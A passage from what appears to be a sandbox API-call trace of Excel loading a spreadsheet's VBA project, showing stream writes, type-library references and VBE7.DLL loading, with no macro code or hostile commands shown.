_Destination=0xb10a338, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0252.280] wcscpy_s (in: _Destination=0xb10a3b8, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0252.280] IMalloc:Free (This=0x7feffc15380, pv=0xb304470) [0252.280] CExposedStream::Write () returned 0x0 [0252.280] CExposedStream::Release () returned 0x0 [0252.280] CExposedStream::Release () returned 0x0 [0252.280] IMalloc:Free (This=0x7feffc15380, pv=0xb83a030) [0252.280] wcscpy_s (in: _Destination=0x27d3d0, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0252.280] _ltow_s (in: _Value=0, _Buffer=0x27d3dc, _BufferCount=0x3a, _Radix=16 | out: _Buffer="0") returned 0x0 [0252.280] CExposedDocFile::OpenStream () returned 0x80030002 [0252.280] CExposedDocFile::CreateStream () returned 0x0 [0252.280] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xb83a030 [0252.280] CExposedStream::AddRef () returned 0x2 [0252.280] CExposedStream::Release () returned 0x1 [0252.280] CExposedStream::Write () returned 0x0 [0252.280] CExposedStream::Write () returned 0x0 [0252.281] CExposedStream::Write () returned 0x0 [0252.281] CExposedStream::Write () returned 0x0 [0252.281] CExposedStream::Write () returned 0x0 [0252.281] CExposedStream::Write () returned 0x0 [0252.281] CExposedStream::Write () returned 0x0 [0252.281] CExposedStream::Write () returned 0x0 [0252.281] CExposedStream::Write () returned 0x0 [0252.281] CExposedStream::Write () returned 0x0 [0252.283] CExposedStream::Write () returned 0x0 [0252.283] CExposedStream::Write () returned 0x0 [0252.283] CExposedStream::Commit () returned 0x0 [0252.295] CExposedStream::Release () returned 0x0 [0252.295] IMalloc:Free (This=0x7feffc15380, pv=0xb83a030) [0252.295] wcscpy_s (in: _Destination=0x27d380, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0252.295] _ltow_s (in: _Value=1, _Buffer=0x27d38c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="1") returned 0x0 [0252.295] CExposedDocFile::OpenStream () returned 0x80030002 [0252.295] CExposedDocFile::CreateStream () returned 0x0 [0252.295] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xb83a030 [0252.295] CExposedStream::AddRef () returned 0x2 [0252.295] CExposedStream::Release () returned 0x1 [0252.295] CExposedStream::Write () returned 0x0 [0252.295] CExposedStream::Commit () returned 0x0 [0252.299] CExposedStream::Release () returned 0x0 [0252.299] IMalloc:Free (This=0x7feffc15380, pv=0xb83a030) [0252.299] IMalloc:Free (This=0x7feffc15380, pv=0xbb024e0) [0252.299] IMalloc:Free (This=0x7feffc15380, pv=0xba2cea0) [0252.299] CExposedDocFile::Release () returned 0x0 [0252.299] CExposedDocFile::CreateStream () returned 0x0 [0252.299] CExposedStream::Write () returned 0x0 [0252.299] CExposedStream::Write () returned 0x0 [0252.299] CExposedStream::Write () returned 0x0 [0252.299] CExposedStream::Write () returned 0x0 [0252.300] CExposedStream::Write () returned 0x0 [0252.300] CExposedStream::Seek () returned 0x0 [0252.300] CExposedStream::SetSize () returned 0x0 [0252.300] CExposedStream::Release () returned 0x0 [0252.300] lstrcpyA (in: lpString1=0xc3fabfc, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0252.300] CExposedDocFile::Stat () returned 0x0 [0252.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc3fabfc, cbMultiByte=-1, lpWideCharStr=0x27da60, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8 [0252.300] CExposedDocFile::CreateStream () returned 0x0 [0252.300] CExposedDocFile::AddRef () returned 0x2 [0252.300] wsprintfA (in: param_1=0x27d300, param_2="%s=\"" | out: param_1="ID=\"") returned 4 [0252.300] lstrcatA (in: lpString1="ID=\"", lpString2="{67C1920E-94D6-4769-9740-C74923EC17F0}" | out: lpString1="ID=\"{67C1920E-94D6-4769-9740-C74923EC17F0}") returned="ID=\"{67C1920E-94D6-4769-9740-C74923EC17F0}" [0252.300] lstrcatA (in: lpString1="ID=\"{67C1920E-94D6-4769-9740-C74923EC17F0}", lpString2="\"\r\n" | out: lpString1="ID=\"{67C1920E-94D6-4769-9740-C74923EC17F0}\"\r\n") returned="ID=\"{67C1920E-94D6-4769-9740-C74923EC17F0}\"\r\n" [0252.300] lstrlenA (lpString="ID=\"{67C1920E-94D6-4769-9740-C74923EC17F0}\"\r\n") returned 45 [0252.300] wsprintfA (in: param_1=0x27d020, param_2="%s=" | out: param_1="Document=") returned 9 [0252.300] lstrlenA (lpString="Document=") returned 9 [0252.300] wsprintfA (in: param_1=0x27d035, param_2="/&H%08lX\r\n" | out: param_1="/&H00000000\r\n") returned 13 [0252.300] lstrlenA (lpString="Document=ThisWorkbook/&H00000000\r\n") returned 34 [0252.300] wsprintfA (in: param_1=0x27d020, param_2="%s=" | out: param_1="Document=") returned 9 [0252.301] lstrlenA (lpString="Document=") returned 9 [0252.301] wsprintfA (in: param_1=0x27d02f, param_2="/&H%08lX\r\n" | out: param_1="/&H00000000\r\n") returned 13 [0252.301] lstrlenA (lpString="Document=Sheet1/&H00000000\r\n") returned 28 [0252.301] wsprintfA (in: param_1=0x27d300, param_2="%s=\"" | out: param_1="Name=\"") returned 6 [0252.301] lstrlenA (lpString="Name=\"") returned 6 [0252.301] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0252.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75dc4e8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0252.301] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0252.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75dc4e8, cbMultiByte=11, lpWideCharStr=0x4d86038, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0252.301] lstrcatA (in: lpString1="VBAProject", lpString2="\"\r\n" | out: lpString1="VBAProject\"\r\n") returned="VBAProject\"\r\n" [0252.301] lstrlenA (lpString="Name=\"VBAProject\"\r\n") returned 19 [0252.301] wsprintfA (in: param_1=0x27d300, param_2="%s=\"%d\"\r\n" | out: param_1="HelpContextID=\"0\"\r\n") returned 19 [0252.301] lstrlenA (lpString="HelpContextID=\"0\"\r\n") returned 19 [0252.302] wsprintfA (in: param_1=0x27d300, param_2="%s=\"%u\"\r\n" | out: param_1="VersionCompatible32=\"393222000\"\r\n") returned 33 [0252.302] lstrlenA (lpString="VersionCompatible32=\"393222000\"\r\n") returned 33 [0252.302] wsprintfA (in: param_1=0x27ca40, param_2="%s=\"" | out: param_1="CMG=\"") returned 5 [0252.302] GetTickCount () returned 0x48a44 [0252.302] lstrlenA (lpString="{67C1920E-94D6-4769-9740-C74923EC17F0}") returned 38 [0252.302] GetTickCount () returned 0x48a44 [0252.302] GetTickCount () returned 0x48a44 [0252.302] lstrcatA (in: lpString1="CMG=\"", lpString2="C4C670BEF086F486F486F486F4" | out: lpString1="CMG=\"C4C670BEF086F486F486F486F4") returned="CMG=\"C4C670BEF086F486F486F486F4" [0252.302] lstrcatA (in: lpString1="CMG=\"C4C670BEF086F486F486F486F4", lpString2="\"\r\n" | out: lpString1="CMG=\"C4C670BEF086F486F486F486F4\"\r\n") returned="CMG=\"C4C670BEF086F486F486F486F4\"\r\n" [0252.302] lstrlenA (lpString="CMG=\"C4C670BEF086F486F486F486F4\"\r\n") returned 34 [0252.302] wsprintfA (in: param_1=0x27ca40, param_2="%s=\"" | out: param_1="DPB=\"") returned 5 [0252.302] lstrlenA (lpString="") returned 0 [0252.302] GetTickCount () returned 0x48a44 [0252.302] lstrlenA (lpString="{67C1920E-94D6-4769-9740-C74923EC17F0}") returned 38 [0252.302] lstrcatA (in: lpString1="DPB=\"", lpString2="888A3C3F3D3F3D3F" | out: lpString1="DPB=\"888A3C3F3D3F3D3F") returned="DPB=\"888A3C3F3D3F3D3F" [0252.302] lstrcatA (in: lpString1="DPB=\"888A3C3F3D3F3D3F", lpString2="\"\r\n" | out: lpString1="DPB=\"888A3C3F3D3F3D3F\"\r\n") returned="DPB=\"888A3C3F3D3F3D3F\"\r\n" [0252.302] lstrlenA (lpString="DPB=\"888A3C3F3D3F3D3F\"\r\n") returned 24 [0252.302] wsprintfA (in: param_1=0x27ca40, param_2="%s=\"" | out: param_1="GC=\"") returned 4 [0252.302] GetTickCount () returned 0x48a44 [0252.302] lstrlenA (lpString="{67C1920E-94D6-4769-9740-C74923EC17F0}") returned 38 [0252.302] GetTickCount () returned 0x48a44 [0252.302] GetTickCount () returned 0x48a44 [0252.302] lstrcatA (in: lpString1="GC=\"", lpString2="4C4EF8C6788B798B7974" | out: lpString1="GC=\"4C4EF8C6788B798B7974") returned="GC=\"4C4EF8C6788B798B7974" [0252.302] lstrcatA (in: lpString1="GC=\"4C4EF8C6788B798B7974", lpString2="\"\r\n" | out: lpString1="GC=\"4C4EF8C6788B798B7974\"\r\n") returned="GC=\"4C4EF8C6788B798B7974\"\r\n" [0252.302] lstrlenA (lpString="GC=\"4C4EF8C6788B798B7974\"\r\n") returned 27 [0252.303] wsprintfA (in: param_1=0x27d130, param_2="\r\n[%s]\r\n" | out: param_1="\r\n[Host Extender Info]\r\n") returned 24 [0252.303] lstrlenA (lpString="\r\n[Host Extender Info]\r\n") returned 24 [0252.303] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0252.303] wsprintfA (in: param_1=0xc3fad20, param_2="%s=%s\r\n" | out: param_1="&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000\r\n") returned 66 [0252.303] lstrlenA (lpString="&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000\r\n") returned 66 [0252.303] wsprintfA (in: param_1=0x27d130, param_2="\r\n[%s]\r\n" | out: param_1="\r\n[Workspace]\r\n") returned 15 [0252.303] lstrlenA (lpString="\r\n[Workspace]\r\n") returned 15 [0252.303] lstrlenA (lpString="46, 46, 1460, 694, Z") returned 20 [0252.303] wsprintfA (in: param_1=0xc3fad20, param_2="%s=%s\r\n" | out: param_1="ThisWorkbook=46, 46, 1460, 694, Z\r\n") returned 35 [0252.303] lstrlenA (lpString="ThisWorkbook=46, 46, 1460, 694, Z\r\n") returned 35 [0252.303] lstrlenA (lpString="0, 0, 0, 0, C") returned 13 [0252.303] wsprintfA (in: param_1=0xc3fad20, param_2="%s=%s\r\n" | out: param_1="Sheet1=0, 0, 0, 0, C\r\n") returned 22 [0252.303] lstrlenA (lpString="Sheet1=0, 0, 0, 0, C\r\n") returned 22 [0252.303] CExposedStream::Commit () returned 0x0 [0252.306] CExposedStream::Release () returned 0x0 [0252.306] CExposedDocFile::Release () returned 0x1 [0252.365] CExposedDocFile::OpenStorage () returned 0x0 [0252.365] CExposedDocFile::AddRef () returned 0x2 [0252.365] CExposedDocFile::AddRef () returned 0x2 [0252.440] _wfullpath (in: _Buffer=0x28a450, _Path="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" [0252.441] _ultow_s (in: _Value=0x5db806b1, _Buffer=0x289ffa, _BufferCount=0x103, _Radix=16 | out: _Buffer="5db806b1") returned 0x0 [0252.441] wcsncpy_s (in: _Destination=0x289b80, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0252.441] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", cchLength=0x3c | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls") returned 0x3c [0252.441] IMalloc:Alloc (This=0x7feffc15380, cb=0x7a) returned 0xb3050d0 [0252.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", cchWideChar=61, lpMultiByteStr=0xb3050d0, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 61 [0252.441] IMalloc:Free (This=0x7feffc15380, pv=0xb3050d0) [0252.441] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0 [0252.441] wcsncpy_s (in: _Destination=0x289c30, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0252.441] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", cchLength=0x3c | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls") returned 0x3c [0252.441] IMalloc:Alloc (This=0x7feffc15380, cb=0x7a) returned 0xb3050d0 [0252.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", cchWideChar=61, lpMultiByteStr=0xb3050d0, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 61 [0252.441] IMalloc:Free (This=0x7feffc15380, pv=0xb3050d0) [0252.441] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0 [0252.442] wcsncpy_s (in: _Destination=0x289bd0, _SizeInWords=0x108, _Source="*\\Z045db806b1", _MaxCount=0x106 | out: _Destination="*\\Z045db806b1") returned 0x0 [0252.442] CharLowerBuffW (in: lpsz="*\\Z045db806b1", cchLength=0xd | out: lpsz="*\\z045db806b1") returned 0xd [0252.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z045db806b1", cchWideChar=14, lpMultiByteStr=0x289b00, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z045db806b1", lpUsedDefaultChar=0x0) returned 14 [0252.442] wcscpy_s (in: _Destination=0xb0b4eb0, _SizeInWords=0xe, _Source="*\\Z045db806b1" | out: _Destination="*\\Z045db806b1") returned 0x0 [0252.442] wcsncpy_s (in: _Destination=0x289c10, _SizeInWords=0x108, _Source="*\\Z045db806b1", _MaxCount=0x106 | out: _Destination="*\\Z045db806b1") returned 0x0 [0252.442] CharLowerBuffW (in: lpsz="*\\Z045db806b1", cchLength=0xd | out: lpsz="*\\z045db806b1") returned 0xd [0252.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z045db806b1", cchWideChar=14, lpMultiByteStr=0x289b40, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z045db806b1", lpUsedDefaultChar=0x0) returned 14 [0252.442] wcsncpy_s (in: _Destination=0x289ce0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0252.442] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0252.442] IMalloc:Alloc (This=0x7feffc15380, cb=0x122) returned 0xb606e00 [0252.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xb606e00, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0252.442] IMalloc:Free (This=0x7feffc15380, pv=0xb606e00) [0252.442] wcsncpy_s (in: _Destination=0x289ce0, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0252.442] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0252.442] IMalloc:Alloc (This=0x7feffc15380, cb=0x11c) returned 0xb606e00 [0252.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xb606e00, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0252.442] IMalloc:Free (This=0x7feffc15380, pv=0xb606e00) [0252.442] wcsncpy_s (in: _Destination=0x289ce0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0252.442] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0252.442] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0xb199a90 [0252.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0xb199a90, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0252.443] IMalloc:Free (This=0x7feffc15380, pv=0xb199a90) [0252.443] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\Z045db806b1") returned -19 [0252.443] wcsncpy_s (in: _Destination=0x289ce0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0252.443] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0252.443] IMalloc:Alloc (This=0x7feffc15380, cb=0x12a) returned 0xb5487c0 [0252.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0xb5487c0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0252.443] IMalloc:Free (This=0x7feffc15380, pv=0xb5487c0) [0252.443] wcscpy_s (in: _Destination=0x7395b60, _SizeInWords=0x108, _Source="*\\Z045db806b1" | out: _Destination="*\\Z045db806b1") returned 0x0 [0252.443] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0252.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75dc4e8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0252.443] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0252.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75dc4e8, cbMultiByte=11, lpWideCharStr=0x4d86038, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0252.443] lstrcatA (in: lpString1="VBAProject", lpString2=" (" | out: lpString1="VBAProject (") returned="VBAProject (" [0252.443] strncat_s (in: _Destination="VBAProject (", _SizeInBytes=0x187, _Source="3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x28 | out: _Destination="VBAProject (3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0252.443] lstrcatA (in: lpString1="VBAProject (3D_5684_DOC20181101014.xls_.xls", lpString2=")" | out: lpString1="VBAProject (3D_5684_DOC20181101014.xls_.xls)") returned="VBAProject (3D_5684_DOC20181101014.xls_.xls)" [0252.445] IMalloc:Free (This=0x7feffc15380, pv=0x6e67c40) [0252.445] IUnknown:Release (This=0xb1d1370) returned 0x9 [0252.445] IUnknown:Release (This=0xb1d0560) returned 0x10 [0252.445] IUnknown:Release (This=0xb1d1910) returned 0x4 [0252.445] IUnknown:Release (This=0x6fed880) returned 0x2 [0252.445] GetCurrentProcess () returned 0xffffffffffffffff [0252.445] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6dac, dwSize=0x44) returned 1 [0252.445] RtlLookupFunctionEntry (in: ControlPc=0x75e6dac, ImageBase=0x289b58, HistoryTable=0x289b60 | out: ImageBase=0x289b58, HistoryTable=0x289b60) returned 0x75e6e00 [0252.445] GetCurrentProcess () returned 0xffffffffffffffff [0252.445] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72456dc, dwSize=0x4c) returned 1 [0252.445] RtlLookupFunctionEntry (in: ControlPc=0x72456dc, ImageBase=0x289b58, HistoryTable=0x289b60 | out: ImageBase=0x289b58, HistoryTable=0x289b60) returned 0x7245738 [0252.446] SetErrorMode (uMode=0x8001) returned 0x8001 [0252.446] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0252.446] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5a60000 [0252.448] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100001b52) returned 1 [0252.448] SetErrorMode (uMode=0x8001) returned 0x8001 [0252.449] GetProcAddress (hModule=0x7fee5a60000, lpProcName=0x258) returned 0x7fee5b64ee0 [0252.449] GetCurrentProcess () returned 0xffffffffffffffff [0252.449] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72457cc, dwSize=0x43) returned 1 [0252.449] RtlLookupFunctionEntry (in: ControlPc=0x72457cc, ImageBase=0x289af8, HistoryTable=0x289b00 | out: ImageBase=0x289af8, HistoryTable=0x289b00) returned 0x724581c [0252.449] SetErrorMode (uMode=0x8001) returned 0x8001 [0252.449] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0252.449] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5a60000 [0252.450] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100001b53) returned 1 [0252.450] SetErrorMode (uMode=0x8001) returned 0x8001 [0252.450] GetProcAddress (hModule=0x7fee5a60000, lpProcName=0x2c8) returned 0x7fee5de9db0 [0252.451] GetCurrentProcess () returned 0xffffffffffffffff [0252.451] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242ae8, dwSize=0x73) returned 1 [0252.451] RtlLookupFunctionEntry (in: ControlPc=0x7242ae8, ImageBase=0x289af8, HistoryTable=0x289b00 | out: ImageBase=0x289af8, HistoryTable=0x289b00) returned 0x7242b68 [0252.451] CExposedDocFile::Release () returned 0x1 [0252.451] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0252.451] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5a60000 [0252.452] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100001b54) returned 1 [0252.452] SetErrorMode (uMode=0x8001) returned 0x8001 [0252.453] GetProcAddress (hModule=0x7fee5a60000, lpProcName=0x258) returned 0x7fee5b64ee0 [0252.453] GetCurrentProcess () returned 0xffffffffffffffff [0252.453] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72457cc, dwSize=0x43) returned 1 [0252.453] RtlLookupFunctionEntry (in: ControlPc=0x72457cc, ImageBase=0x289a98, HistoryTable=0x289aa0 | out: ImageBase=0x289a98, HistoryTable=0x289aa0) returned 0x724581c [0252.453] SetErrorMode (uMode=0x8001) returned 0x8001 [0252.453] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0252.453] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5a60000 [0252.454] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100001b55) returned 1 [0252.454] SetErrorMode (uMode=0x8001) returned 0x8001 [0252.454] GetProcAddress (hModule=0x7fee5a60000, lpProcName=0x2c8) returned 0x7fee5de9db0 [0252.454] GetCurrentProcess () returned 0xffffffffffffffff [0252.454] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242ae8, dwSize=0x73) returned 1 [0252.454] RtlLookupFunctionEntry (in: ControlPc=0x7242ae8, ImageBase=0x289a98, HistoryTable=0x289aa0 | out: ImageBase=0x289a98, HistoryTable=0x289aa0) returned 0x7242b68 [0252.455] IMalloc:Free (This=0x7feffc15380, pv=0xb604fb0) [0252.455] IMalloc:Free (This=0x7feffc15380, pv=0xb4d17a0) [0252.455] IUnknown:AddRef (This=0xb3e3928) returned 0x3 [0252.455] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3e3928, ppTypeAttr=0x28a568, pDummy=0x7117bb0 | out: ppTypeAttr=0x28a568, pDummy=0x7117bb0*=0x7) returned 0x0 [0252.455] ITypeInfo:LocalReleaseTypeAttr (This=0xb3e3928) returned 0x0 [0252.455] IUnknown:Release (This=0xb3e3928) returned 0x2 [0252.456] IMalloc:Free (This=0x7feffc15380, pv=0xb4bf2a0) [0252.456] IMalloc:Free (This=0x7feffc15380, pv=0xb190120) [0252.459] IMalloc:Free (This=0x7feffc15380, pv=0xb189270) [0252.463] GetCurrentThreadId () returned 0x92c [0252.463] SetCursor (hCursor=0x10007) returned 0x10007 [0252.464] 